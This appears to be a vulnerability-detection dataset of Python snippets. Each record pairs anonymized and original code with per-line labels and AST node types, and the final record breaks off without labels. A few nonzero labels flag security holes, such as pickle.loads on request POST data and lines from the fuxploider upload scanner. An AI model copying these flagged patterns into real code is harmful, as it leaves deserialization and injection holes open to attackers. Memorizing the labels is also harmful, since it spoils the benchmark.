[ "def FUNC_25(VAR_14, VAR_27, VAR_28):...\n", "VAR_26.append((VAR_14, VAR_27.splitlines()[0], VAR_28))\n" ]
[ "def post_error_task(botobj, msg, task_id):...\n", "posted.append((botobj, msg.splitlines()[0], task_id))\n" ]
[ 0, 0 ]
[ "FunctionDef'", "Expr'" ]
[ "from base import Field\n", "VAR_0 = 'DATE'\n", "def __init__(self, *VAR_1, **VAR_2):...\n", "super(CLASS_0, self).__init__(*VAR_1, **kwargs)\n", "def FUNC_0(self, VAR_3):...\n", "VAR_5 = '%s timestamp' % str(VAR_3)\n", "return VAR_5\n" ]
[ "from base import Field\n", "TYPE = 'DATE'\n", "def __init__(self, *args, **kwargs):...\n", "super(TimestampField, self).__init__(*args, **kwargs)\n", "def create_field(self, name):...\n", "field_string = '%s timestamp' % str(name)\n", "return field_string\n" ]
[ 0, 0, 0, 0, 0, 0, 0 ]
[ "ImportFrom'", "Assign'", "FunctionDef'", "Expr'", "FunctionDef'", "Assign'", "Return'" ]
[ "def __init__(self, VAR_2):...\n", "\"\"\"docstring\"\"\"\n", "super(CLASS_5, self).__init__(VAR_2)\n", "self.message = 'Component %s crashed on localhost' % VAR_2\n" ]
[ "def __init__(self, comp_name):...\n", "\"\"\"docstring\"\"\"\n", "super(LocalCrashEvent, self).__init__(comp_name)\n", "self.message = 'Component %s crashed on localhost' % comp_name\n" ]
[ 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Expr'", "Assign'" ]
[ "@FUNC_7...\n", "\"\"\"docstring\"\"\"\n", "if not current_user.is_authenticated():\n", "return current_app.login_manager.unauthorized()\n", "VAR_20 = RemoteAccount.get(user_id=current_user.get_id(), client_id=remote.\n consumer_key)\n", "if VAR_20:\n", "VAR_20.delete()\n", "return redirect(url_for('oauthclient_settings.index'))\n" ]
[ "@oauth_error_handler...\n", "\"\"\"docstring\"\"\"\n", "if not current_user.is_authenticated():\n", "return current_app.login_manager.unauthorized()\n", "account = RemoteAccount.get(user_id=current_user.get_id(), client_id=remote\n .consumer_key)\n", "if account:\n", "account.delete()\n", "return redirect(url_for('oauthclient_settings.index'))\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "Condition", "Docstring", "Condition", "Return'", "Assign'", "Condition", "Expr'", "Return'" ]
[ "import logging, concurrent.futures\n", "from utils import *\n", "from urllib.parse import urljoin, urlparse\n", "from threading import Lock\n", "def __init__(self, VAR_0, VAR_1, VAR_2, VAR_3, VAR_4, VAR_5=None, VAR_6=...\n", "self.logger = logging.getLogger('fuxploider')\n", "self.postData = VAR_4\n", "self.formUrl = VAR_6\n", "VAR_18 = urlparse(self.formUrl)\n", "self.schema = VAR_18.scheme\n", "self.host = VAR_18.netloc\n", "self.uploadUrl = urljoin(VAR_6, VAR_7)\n", "self.session = VAR_2\n", "self.trueRegex = VAR_1\n", "self.notRegex = VAR_0\n", "self.inputName = VAR_8\n", "self.uploadsFolder = VAR_5\n", "self.size = VAR_3\n", "self.validExtensions = []\n", "self.httpRequests = 0\n", "self.codeExecUrlPattern = None\n", "self.logLock = Lock()\n", "self.stopThreads = False\n", "self.shouldLog = True\n", "def FUNC_0(self, VAR_9):...\n", "self.formUrl = VAR_9\n", "VAR_18 = urlparse(self.formUrl)\n", "self.schema = VAR_18.scheme\n", "self.host = VAR_18.netloc\n", "self.httpRequests = 0\n", "VAR_34 = self.session.get(self.formUrl, headers={'Accept-Encoding': None})\n", "self.logger.critical('%s : Host unreachable (%s)', getHost(VAR_9), e)\n", "VAR_21 = FUNC_7(VAR_34.text)\n", "self.httpRequests += 1\n", "exit()\n", "if len(VAR_21) == 0:\n", "if self.logger.verbosity > 1:\n", "self.logger.critical('No HTML form found here')\n", "if len(VAR_21) > 1:\n", "printSimpleResponseObject(VAR_34)\n", "if self.logger.verbosity > 2:\n", "exit()\n", "self.logger.critical(\n '%s forms found containing file upload inputs, no way to choose which one to test.'\n , len(VAR_21))\n", "if len(VAR_21[0][1]) > 1:\n", "print('\\x1b[36m' + VAR_34.text + '\\x1b[m')\n", "if VAR_34.status_code < 200 or VAR_34.status_code > 300:\n", "exit()\n", "self.logger.critical(\n '%s file inputs found inside the same form, no way to choose which one to test.'\n , len(VAR_21[0]))\n", "self.inputName = VAR_21[0][1][0]['name']\n", "self.logger.critical('Server responded with following status : %s - %s',\n VAR_34.status_code, VAR_34.reason)\n", "exit()\n", "self.logger.debug('Found the following file upload input : %s', self.inputName)\n", "exit()\n", "VAR_22 = VAR_21[0][0]\n", "self.action = VAR_22['action']\n", "self.action = ''\n", "self.uploadUrl = urljoin(self.formUrl, self.action)\n", "self.logger.debug('Using following URL for file upload : %s', self.uploadUrl)\n", "if not self.uploadsFolder and not self.trueRegex:\n", "self.logger.warning(\n 'No uploads folder nor true regex defined, code execution detection will not be possible.'\n )\n", "if not self.uploadsFolder and self.trueRegex:\n", "def FUNC_1(self, VAR_10, VAR_11, VAR_12):...\n", "print(\n 'No uploads path provided, code detection can still be done using true regex capturing group.'\n )\n", "fd.write(VAR_12)\n", "VAR_40 = input(\n 'Do you want to use the True Regex for code execution detection ? [Y/n] ')\n", "fd.flush()\n", "if VAR_40.lower().startswith('y') or VAR_40 == '':\n", "fd.seek(0)\n", "VAR_43 = input('Preffix capturing group of the true regex with : ')\n", "self.logger.warning(\n 'Code execution detection will not be possible as there is no path nor regex pattern configured.'\n )\n", "VAR_35 = os.path.basename(fd.name)\n", "VAR_44 = input('Suffix capturing group of the true regex with : ')\n", "if self.shouldLog:\n", "self.codeExecUrlPattern = VAR_43 + '$captGroup$' + VAR_44\n", "self.logger.debug('Sending file %s with mime type : %s', VAR_35, VAR_11)\n", "VAR_30 = self.session.post(self.uploadUrl, files={self.inputName: (filename,\n fd, mime)}, data=self.postData)\n", "self.httpRequests += 1\n", "if self.shouldLog:\n", "if self.logger.verbosity > 1:\n", "return VAR_30, VAR_35\n", "printSimpleResponseObject(VAR_30)\n", "if self.logger.verbosity > 2:\n", "print('\\x1b[36m' + VAR_30.text + '\\x1b[m')\n" ]
[ "import logging, concurrent.futures\n", "from utils import *\n", "from urllib.parse import urljoin, urlparse\n", "from threading import Lock\n", "def __init__(self, notRegex, trueRegex, session, size, postData,...\n", "self.logger = logging.getLogger('fuxploider')\n", "self.postData = postData\n", "self.formUrl = formUrl\n", "url = urlparse(self.formUrl)\n", "self.schema = url.scheme\n", "self.host = url.netloc\n", "self.uploadUrl = urljoin(formUrl, formAction)\n", "self.session = session\n", "self.trueRegex = trueRegex\n", "self.notRegex = notRegex\n", "self.inputName = inputName\n", "self.uploadsFolder = uploadsFolder\n", "self.size = size\n", "self.validExtensions = []\n", "self.httpRequests = 0\n", "self.codeExecUrlPattern = None\n", "self.logLock = Lock()\n", "self.stopThreads = False\n", "self.shouldLog = True\n", "def setup(self, initUrl):...\n", "self.formUrl = initUrl\n", "url = urlparse(self.formUrl)\n", "self.schema = url.scheme\n", "self.host = url.netloc\n", "self.httpRequests = 0\n", "initGet = self.session.get(self.formUrl, headers={'Accept-Encoding': None})\n", "self.logger.critical('%s : Host unreachable (%s)', getHost(initUrl), e)\n", "detectedForms = detectForms(initGet.text)\n", "self.httpRequests += 1\n", "exit()\n", "if len(detectedForms) == 0:\n", "if self.logger.verbosity > 1:\n", "self.logger.critical('No HTML form found here')\n", "if len(detectedForms) > 1:\n", "printSimpleResponseObject(initGet)\n", "if self.logger.verbosity > 2:\n", "exit()\n", "self.logger.critical(\n '%s forms found containing file upload inputs, no way to choose which one to test.'\n , len(detectedForms))\n", "if len(detectedForms[0][1]) > 1:\n", "print('\\x1b[36m' + initGet.text + '\\x1b[m')\n", "if initGet.status_code < 200 or initGet.status_code > 300:\n", "exit()\n", "self.logger.critical(\n '%s file inputs found inside the same form, no way to choose which one to test.'\n , len(detectedForms[0]))\n", "self.inputName = detectedForms[0][1][0]['name']\n", "self.logger.critical('Server responded with following status : %s - %s',\n initGet.status_code, initGet.reason)\n", "exit()\n", "self.logger.debug('Found the following file upload input : %s', self.inputName)\n", "exit()\n", "formDestination = detectedForms[0][0]\n", "self.action = formDestination['action']\n", "self.action = ''\n", "self.uploadUrl = urljoin(self.formUrl, self.action)\n", "self.logger.debug('Using following URL for file upload : %s', self.uploadUrl)\n", "if not self.uploadsFolder and not self.trueRegex:\n", "self.logger.warning(\n 'No uploads folder nor true regex defined, code execution detection will not be possible.'\n )\n", "if not self.uploadsFolder and self.trueRegex:\n", "def uploadFile(self, suffix, mime, payload):...\n", "print(\n 'No uploads path provided, code detection can still be done using true regex capturing group.'\n )\n", "fd.write(payload)\n", "cont = input(\n 'Do you want to use the True Regex for code execution detection ? [Y/n] ')\n", "fd.flush()\n", "if cont.lower().startswith('y') or cont == '':\n", "fd.seek(0)\n", "preffixPattern = input('Preffix capturing group of the true regex with : ')\n", "self.logger.warning(\n 'Code execution detection will not be possible as there is no path nor regex pattern configured.'\n )\n", "filename = os.path.basename(fd.name)\n", "suffixPattern = input('Suffix capturing group of the true regex with : ')\n", "if self.shouldLog:\n", "self.codeExecUrlPattern = preffixPattern + '$captGroup$' + suffixPattern\n", "self.logger.debug('Sending file %s with mime type : %s', filename, mime)\n", "fu = self.session.post(self.uploadUrl, files={self.inputName: (filename, fd,\n mime)}, data=self.postData)\n", "self.httpRequests += 1\n", "if self.shouldLog:\n", "if self.logger.verbosity > 1:\n", "return fu, filename\n", "printSimpleResponseObject(fu)\n", "if self.logger.verbosity > 2:\n", "print('\\x1b[36m' + fu.text + '\\x1b[m')\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 7, 0, 0, 0 ]
[ "Import'", "ImportFrom'", "ImportFrom'", "ImportFrom'", "Condition", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "FunctionDef'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Expr'", "Assign'", "AugAssign'", "Expr'", "Condition", "Condition", "Expr'", "Condition", "Expr'", "Condition", "Expr'", "Expr'", "Condition", "Expr'", "Condition", "Expr'", "Expr'", "Assign'", "Expr'", "Expr'", "Expr'", "Expr'", "Assign'", "Assign'", "Assign'", "Assign'", "Expr'", "Condition", "Expr'", "Condition", "FunctionDef'", "Expr'", "Expr'", "Assign'", "Expr'", "Condition", "Expr'", "Assign'", "Expr'", "Assign'", "Assign'", "Condition", "Assign'", "Expr'", "Assign'", "AugAssign'", "Condition", "Condition", "Return'", "Expr'", "Condition", "Expr'" ]
[ "def FUNC_0(VAR_0):...\n", "return json.load(f)\n" ]
[ "def readJsonFile(file_name):...\n", "return json.load(f)\n" ]
[ 0, 0 ]
[ "FunctionDef'", "Return'" ]
[ "def FUNC_4(VAR_7, VAR_8=None):...\n", "\"\"\"docstring\"\"\"\n", "def FUNC_7(VAR_17, *VAR_18, **VAR_19):...\n", "\"\"\"docstring\"\"\"\n", "VAR_20 = VAR_17.POST\n", "VAR_21 = VAR_20.get('new_status')\n", "if not VAR_21:\n", "if not VAR_8 or not callable(VAR_8):\n", "if not 'fields' in VAR_20:\n", "return error_handler.logErrorAndReturnOK(\n 'No valid status can be set by the manageModelStatus.')\n", "error_handler.logErrorAndReturnOK(\n 'No fields to filter on found for manageModelStatus.')\n", "VAR_22 = pickle.loads(str(VAR_20['fields']))\n", "VAR_23 = VAR_7.getForFields(VAR_22, limit=BATCH_SIZE)\n", "for VAR_9 in VAR_23:\n", "if VAR_21:\n", "db.put(VAR_23)\n", "VAR_25 = VAR_21\n", "VAR_25 = VAR_8(VAR_9)\n", "if len(VAR_23) == VAR_4:\n", "VAR_9.status = VAR_25\n", "VAR_24 = VAR_20.copy()\n", "return responses.terminateTask()\n", "return responses.startTask(VAR_17.path, VAR_24=context)\n" ]
[ "def manageModelStatus(entity_logic, status_retriever=None):...\n", "\"\"\"docstring\"\"\"\n", "def manageModelsStatus(request, *args, **kwargs):...\n", "\"\"\"docstring\"\"\"\n", "post_dict = request.POST\n", "new_status = post_dict.get('new_status')\n", "if not new_status:\n", "if not status_retriever or not callable(status_retriever):\n", "if not 'fields' in post_dict:\n", "return error_handler.logErrorAndReturnOK(\n 'No valid status can be set by the manageModelStatus.')\n", "error_handler.logErrorAndReturnOK(\n 'No fields to filter on found for manageModelStatus.')\n", "fields = pickle.loads(str(post_dict['fields']))\n", "entities = entity_logic.getForFields(fields, limit=BATCH_SIZE)\n", "for entity in entities:\n", "if new_status:\n", "db.put(entities)\n", "status = new_status\n", "status = status_retriever(entity)\n", "if len(entities) == BATCH_SIZE:\n", "entity.status = status\n", "context = post_dict.copy()\n", "return responses.terminateTask()\n", "return responses.startTask(request.path, context=context)\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5 ]
[ "FunctionDef'", "Docstring", "FunctionDef'", "Docstring", "Assign'", "Assign'", "Condition", "Condition", "Condition", "Return'", "Expr'", "Assign'", "Assign'", "For", "Condition", "Expr'", "Assign'", "Assign'", "Condition", "Assign'", "Assign'", "Return'", "Return'" ]
[ "def FUNC_30(VAR_35):...\n", "self.assertEqual(None, VAR_35)\n", "return 0\n" ]
[ "def run_bot(error):...\n", "self.assertEqual(None, error)\n", "return 0\n" ]
[ 0, 0, 0 ]
[ "FunctionDef'", "Expr'", "Return'" ]
[ "def FUNC_6(self):...\n", "VAR_21 = pyodbc.drivers()\n", "self.assertTrue(isinstance(VAR_21, list))\n" ]
[ "def test_drivers(self):...\n", "p = pyodbc.drivers()\n", "self.assertTrue(isinstance(p, list))\n" ]
[ 0, 0, 0 ]
[ "FunctionDef'", "Assign'", "Expr'" ]
[ "def FUNC_3(self):...\n", "VAR_2 = self.connect()\n", "VAR_3 = 'DELETE FROM crimes;'\n", "VAR_2.close()\n", "cursor.execute(VAR_3)\n", "VAR_2.commit()\n" ]
[ "def clear_all(self):...\n", "connection = self.connect()\n", "query = 'DELETE FROM crimes;'\n", "connection.close()\n", "cursor.execute(query)\n", "connection.commit()\n" ]
[ 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Assign'", "Assign'", "Expr'", "Expr'", "Expr'" ]
[ "def FUNC_1(self):...\n", "if self.receivers(self.finished) == 0:\n", "self.finished.connect(lambda reply: self.on_finished())\n", "self.connect_timer.stop()\n", "VAR_28 = self.reply.readAll()\n", "self.current_event_string += VAR_28\n", "if len(self.current_event_string) > 0 and self.current_event_string[-1\n", "for event in self.current_event_string.split('\\n'):\n", "if len(event) == 0:\n", "self.current_event_string = ''\n", "VAR_29 = json.loads(str(event))\n", "VAR_0.insert(0, (VAR_29, time.time()))\n", "if len(VAR_0) > 100:\n", "VAR_0.pop()\n", "if VAR_29['type'] == 'torrent_info_updated':\n", "self.torrent_info_updated.emit(VAR_29['event'])\n", "if VAR_29['type'] == 'tribler_started' and not self.emitted_tribler_started:\n", "self.tribler_started.emit()\n", "if VAR_29['type'] == 'new_version_available':\n", "self.emitted_tribler_started = True\n", "self.new_version_available.emit(VAR_29['event']['version'])\n", "if VAR_29['type'] == 'upgrader_started':\n", "self.upgrader_started.emit()\n", "if VAR_29['type'] == 'upgrader_finished':\n", "self.upgrader_finished.emit()\n", "if VAR_29['type'] == 'upgrader_tick':\n", "self.upgrader_tick.emit(VAR_29['event']['text'])\n", "if VAR_29['type'] == 'channel_discovered':\n", "self.discovered_channel.emit(VAR_29['event'])\n", "if VAR_29['type'] == 'torrent_discovered':\n", "self.discovered_torrent.emit(VAR_29['event'])\n", "if VAR_29['type'] == 'events_start':\n", "self.events_started.emit(VAR_29['event'])\n", "if VAR_29['type'] == 'torrent_finished':\n", "self.tribler_version = VAR_29['event']['version']\n", "self.torrent_finished.emit(VAR_29['event'])\n", "if VAR_29['type'] == 'market_ask':\n", "if VAR_29['event']['tribler_started'] and not self.emitted_tribler_started:\n", "self.received_market_ask.emit(VAR_29['event'])\n", "if VAR_29['type'] == 'market_bid':\n", "self.tribler_started.emit()\n", "self.received_market_bid.emit(VAR_29['event'])\n", "if VAR_29['type'] == 'market_ask_timeout':\n", "self.emitted_tribler_started = True\n", "self.expired_market_ask.emit(VAR_29['event'])\n", "if VAR_29['type'] == 'market_bid_timeout':\n", "self.expired_market_bid.emit(VAR_29['event'])\n", "if VAR_29['type'] == 'market_transaction_complete':\n", "self.market_transaction_complete.emit(VAR_29['event'])\n", "if VAR_29['type'] == 'market_payment_received':\n", "self.market_payment_received.emit(VAR_29['event'])\n", "if VAR_29['type'] == 'market_payment_sent':\n", "self.market_payment_sent.emit(VAR_29['event'])\n", "if VAR_29['type'] == 'market_iom_input_required':\n", "self.market_iom_input_required.emit(VAR_29['event'])\n", "if VAR_29['type'] == 'signal_low_space':\n", "self.low_storage_signal.emit(VAR_29['event'])\n", "if VAR_29['type'] == 'credit_mining_error':\n", "self.credit_mining_signal.emit(VAR_29['event'])\n", "if VAR_29['type'] == 'shutdown':\n", "self.tribler_shutdown_signal.emit(VAR_29['event'])\n", "if VAR_29['type'] == 'tribler_exception':\n" ]
[ "def on_read_data(self):...\n", "if self.receivers(self.finished) == 0:\n", "self.finished.connect(lambda reply: self.on_finished())\n", "self.connect_timer.stop()\n", "data = self.reply.readAll()\n", "self.current_event_string += data\n", "if len(self.current_event_string) > 0 and self.current_event_string[-1\n", "for event in self.current_event_string.split('\\n'):\n", "if len(event) == 0:\n", "self.current_event_string = ''\n", "json_dict = json.loads(str(event))\n", "received_events.insert(0, (json_dict, time.time()))\n", "if len(received_events) > 100:\n", "received_events.pop()\n", "if json_dict['type'] == 'torrent_info_updated':\n", "self.torrent_info_updated.emit(json_dict['event'])\n", "if json_dict['type'] == 'tribler_started' and not self.emitted_tribler_started:\n", "self.tribler_started.emit()\n", "if json_dict['type'] == 'new_version_available':\n", "self.emitted_tribler_started = True\n", "self.new_version_available.emit(json_dict['event']['version'])\n", "if json_dict['type'] == 'upgrader_started':\n", "self.upgrader_started.emit()\n", "if json_dict['type'] == 'upgrader_finished':\n", "self.upgrader_finished.emit()\n", "if json_dict['type'] == 'upgrader_tick':\n", "self.upgrader_tick.emit(json_dict['event']['text'])\n", "if json_dict['type'] == 'channel_discovered':\n", "self.discovered_channel.emit(json_dict['event'])\n", "if json_dict['type'] == 'torrent_discovered':\n", "self.discovered_torrent.emit(json_dict['event'])\n", "if json_dict['type'] == 'events_start':\n", "self.events_started.emit(json_dict['event'])\n", "if json_dict['type'] == 'torrent_finished':\n", "self.tribler_version = json_dict['event']['version']\n", "self.torrent_finished.emit(json_dict['event'])\n", "if json_dict['type'] == 'market_ask':\n", "if json_dict['event']['tribler_started'] and not self.emitted_tribler_started:\n", "self.received_market_ask.emit(json_dict['event'])\n", "if json_dict['type'] == 'market_bid':\n", "self.tribler_started.emit()\n", "self.received_market_bid.emit(json_dict['event'])\n", "if json_dict['type'] == 'market_ask_timeout':\n", "self.emitted_tribler_started = True\n", "self.expired_market_ask.emit(json_dict['event'])\n", "if json_dict['type'] == 'market_bid_timeout':\n", "self.expired_market_bid.emit(json_dict['event'])\n", "if json_dict['type'] == 'market_transaction_complete':\n", "self.market_transaction_complete.emit(json_dict['event'])\n", "if json_dict['type'] == 'market_payment_received':\n", "self.market_payment_received.emit(json_dict['event'])\n", "if json_dict['type'] == 'market_payment_sent':\n", "self.market_payment_sent.emit(json_dict['event'])\n", "if json_dict['type'] == 'market_iom_input_required':\n", "self.market_iom_input_required.emit(json_dict['event'])\n", "if json_dict['type'] == 'signal_low_space':\n", "self.low_storage_signal.emit(json_dict['event'])\n", "if json_dict['type'] == 'credit_mining_error':\n", "self.credit_mining_signal.emit(json_dict['event'])\n", "if json_dict['type'] == 'shutdown':\n", "self.tribler_shutdown_signal.emit(json_dict['event'])\n", "if json_dict['type'] == 'tribler_exception':\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Condition", "Expr'", "Expr'", "Assign'", "AugAssign'", "Condition", "For", "Condition", "Assign'", "Assign'", "Expr'", "Condition", "Expr'", "Condition", "Expr'", "Condition", "Expr'", "Condition", "Assign'", "Expr'", "Condition", "Expr'", "Condition", "Expr'", "Condition", "Expr'", "Condition", "Expr'", "Condition", "Expr'", "Condition", "Expr'", "Condition", "Assign'", "Expr'", "Condition", "Condition", "Expr'", "Condition", "Expr'", "Expr'", "Condition", "Assign'", "Expr'", "Condition", "Expr'", "Condition", "Expr'", "Condition", "Expr'", "Condition", "Expr'", "Condition", "Expr'", "Condition", "Expr'", "Condition", "Expr'", "Condition", "Expr'", "Condition" ]
[ "def FUNC_12(self, VAR_14):...\n", "" ]
[ "def is_numeric(self, col_name):...\n", "" ]
[ 0, 0 ]
[ "FunctionDef'", "Condition" ]
[ "@integration_synonym_api...\n", "FUNC_2(VAR_2)\n", "FUNC_3(VAR_2, 'GLADSTONE CAPITAL corp', VAR_7='1')\n", "FUNC_5(VAR_4, VAR_5, VAR_11='GOLDSMITHS', VAR_10=[{'name': '----GOLDSMITHS'}])\n" ]
[ "@integration_synonym_api...\n", "clean_database(solr)\n", "seed_database_with(solr, 'GLADSTONE CAPITAL corp', id='1')\n", "verify_results(client, jwt, query='GOLDSMITHS', expected=[{'name':\n '----GOLDSMITHS'}])\n" ]
[ 0, 0, 0, 0 ]
[ "Condition", "Expr'", "Expr'", "Expr'" ]
[ "def FUNC_10(self):...\n", "\"\"\"docstring\"\"\"\n", "VAR_16 = self.getDistanceMatrix()\n", "VAR_18 = _co.defaultdict(lambda : _co.defaultdict(lambda : _np.inf))\n", "for vk in VAR_16:\n", "for wk in VAR_16[vk]:\n", "return VAR_18\n", "VAR_51 = self.HigherOrderNodeToPath(vk)[0]\n", "VAR_52 = self.HigherOrderNodeToPath(wk)[-1]\n", "if VAR_16[vk][wk] + self.order - 1 < VAR_18[VAR_51][VAR_52]:\n", "VAR_18[VAR_51][VAR_52] = VAR_16[vk][wk] + self.order - 1\n" ]
[ "def getDistanceMatrixFirstOrder(self):...\n", "\"\"\"docstring\"\"\"\n", "dist = self.getDistanceMatrix()\n", "dist_first = _co.defaultdict(lambda : _co.defaultdict(lambda : _np.inf))\n", "for vk in dist:\n", "for wk in dist[vk]:\n", "return dist_first\n", "v1 = self.HigherOrderNodeToPath(vk)[0]\n", "w1 = self.HigherOrderNodeToPath(wk)[-1]\n", "if dist[vk][wk] + self.order - 1 < dist_first[v1][w1]:\n", "dist_first[v1][w1] = dist[vk][wk] + self.order - 1\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Assign'", "Assign'", "For", "For", "Return'", "Assign'", "Assign'", "Condition", "Assign'" ]
[ "@VAR_0.route('/dashboard')...\n", "VAR_28 = VAR_1.connection.cursor()\n", "VAR_29 = VAR_28.execute(\n 'SELECT cid, crawl_date, pdf_crawled, pdf_processed, domain, url FROM Crawls'\n )\n", "VAR_47 = VAR_28.fetchall()\n", "if VAR_29 > 0:\n", "return render_template('dashboard.html', VAR_47=crawls)\n", "VAR_53 = 'No Crawls Found'\n", "return render_template('dashboard.html', VAR_53=msg)\n" ]
[ "@app.route('/dashboard')...\n", "cur = mysql.connection.cursor()\n", "result = cur.execute(\n 'SELECT cid, crawl_date, pdf_crawled, pdf_processed, domain, url FROM Crawls'\n )\n", "crawls = cur.fetchall()\n", "if result > 0:\n", "return render_template('dashboard.html', crawls=crawls)\n", "msg = 'No Crawls Found'\n", "return render_template('dashboard.html', msg=msg)\n" ]
[ 0, 0, 4, 0, 0, 0, 0, 0 ]
[ "Condition", "Assign'", "Assign'", "Assign'", "Condition", "Return'", "Assign'", "Return'" ]
[ "def FUNC_6(self):...\n", "\"\"\"docstring\"\"\"\n", "if self._conn:\n", "self._conn.close()\n", "self._conn = None\n" ]
[ "def close(self):...\n", "\"\"\"docstring\"\"\"\n", "if self._conn:\n", "self._conn.close()\n", "self._conn = None\n" ]
[ 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Condition", "Expr'", "Assign'" ]
[ "@staticmethod...\n", "from rasterio.features import rasterize\n", "VAR_52 = VAR_20.geometry\n", "VAR_53 = rasterize(((g, VAR_28) for g in VAR_52), VAR_29=out_shape,\n transform=out_transform, fill=background_value)\n", "return VAR_53\n" ]
[ "@staticmethod...\n", "from rasterio.features import rasterize\n", "geom = df.geometry\n", "out = rasterize(((g, value) for g in geom), out_shape=out_shape, transform=\n out_transform, fill=background_value)\n", "return out\n" ]
[ 0, 0, 0, 0, 0 ]
[ "Condition", "ImportFrom'", "Assign'", "Assign'", "Return'" ]
[ "def FUNC_0(VAR_0, VAR_1, VAR_2=('view_project',)):...\n", "\"\"\"docstring\"\"\"\n", "VAR_6 = models.Project.objects.get(pk=project_pk, deleting=False)\n", "return VAR_6\n", "for perm in VAR_2:\n", "if not VAR_0.user.has_perm(perm, VAR_6):\n" ]
[ "def get_and_check_project(request, project_pk, perms=('view_project',)):...\n", "\"\"\"docstring\"\"\"\n", "project = models.Project.objects.get(pk=project_pk, deleting=False)\n", "return project\n", "for perm in perms:\n", "if not request.user.has_perm(perm, project):\n" ]
[ 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Assign'", "Return'", "For", "Condition" ]
[ "def FUNC_1(self, VAR_4, VAR_5, **VAR_6):...\n", "\"\"\"docstring\"\"\"\n", "if not VAR_5:\n", "VAR_8 = False\n", "for k, v in VAR_6.iteritems():\n", "assert k in self._properties, k\n", "if VAR_8:\n", "if getattr(self, k) != v:\n", "VAR_9 = VAR_4.email().split('@')[0]\n", "return VAR_8\n", "setattr(self, k, v)\n", "self.updated_by = VAR_9\n", "VAR_8 = True\n", "self.Save()\n", "logging.info('Config %s was updated by %s', self.__class__, VAR_9)\n" ]
[ "def Update(self, user, is_admin, **kwargs):...\n", "\"\"\"docstring\"\"\"\n", "if not is_admin:\n", "dirty = False\n", "for k, v in kwargs.iteritems():\n", "assert k in self._properties, k\n", "if dirty:\n", "if getattr(self, k) != v:\n", "user_name = user.email().split('@')[0]\n", "return dirty\n", "setattr(self, k, v)\n", "self.updated_by = user_name\n", "dirty = True\n", "self.Save()\n", "logging.info('Config %s was updated by %s', self.__class__, user_name)\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Condition", "Assign'", "For", "Assert'", "Condition", "Condition", "Assign'", "Return'", "Expr'", "Assign'", "Assign'", "Expr'", "Expr'" ]
[ "def FUNC_1(VAR_1, VAR_6):...\n", "" ]
[ "def directory_index(path, fullpath):...\n", "" ]
[ 0, 0 ]
[ "FunctionDef'", "Condition" ]
[ "def FUNC_4(self):...\n", "VAR_15 = super(CLASS_0, self).get_template_namespace()\n", "VAR_15['css_urls'] = self.assets['css_all'].urls()\n", "VAR_15['js_urls'] = self.assets['js_all'].urls()\n", "VAR_15['system_name'] = options.system_name\n", "VAR_15['SERVER_DEBUG'] = options.server_debug\n", "VAR_15['ip'] = self.request.remote_ip\n", "VAR_15['system_version'] = system_version\n", "VAR_15['_host'] = self.request.host\n", "VAR_15['_protocol'] = self.request.protocol\n", "if self.current_user:\n", "VAR_17 = GroupList.get_user_groups(self.current_user.key, self.sql_session)\n", "VAR_17 = []\n", "VAR_15['current_user'] = self.current_user.to_dict(\n ) if self.current_user else None\n", "VAR_15['current_groups'] = VAR_17\n", "return VAR_15\n" ]
[ "def get_template_namespace(self):...\n", "_ = super(BaseHandler, self).get_template_namespace()\n", "_['css_urls'] = self.assets['css_all'].urls()\n", "_['js_urls'] = self.assets['js_all'].urls()\n", "_['system_name'] = options.system_name\n", "_['SERVER_DEBUG'] = options.server_debug\n", "_['ip'] = self.request.remote_ip\n", "_['system_version'] = system_version\n", "_['_host'] = self.request.host\n", "_['_protocol'] = self.request.protocol\n", "if self.current_user:\n", "groups = GroupList.get_user_groups(self.current_user.key, self.sql_session)\n", "groups = []\n", "_['current_user'] = self.current_user.to_dict() if self.current_user else None\n", "_['current_groups'] = groups\n", "return _\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Condition", "Assign'", "Assign'", "Assign'", "Assign'", "Return'" ]
[ "def FUNC_7(self):...\n", "super(CLASS_0, self).validate()\n", "if not self.blog_intro:\n", "self.blog_intro = self.content[:140]\n", "if self.blog_intro:\n", "self.blog_intro = strip_html_tags(self.blog_intro)\n", "self.blog_intro = self.blog_intro[:140]\n", "if self.published and not self.published_on:\n", "self.published_on = today()\n", "frappe.db.sql('string', (self.blogger,))\n" ]
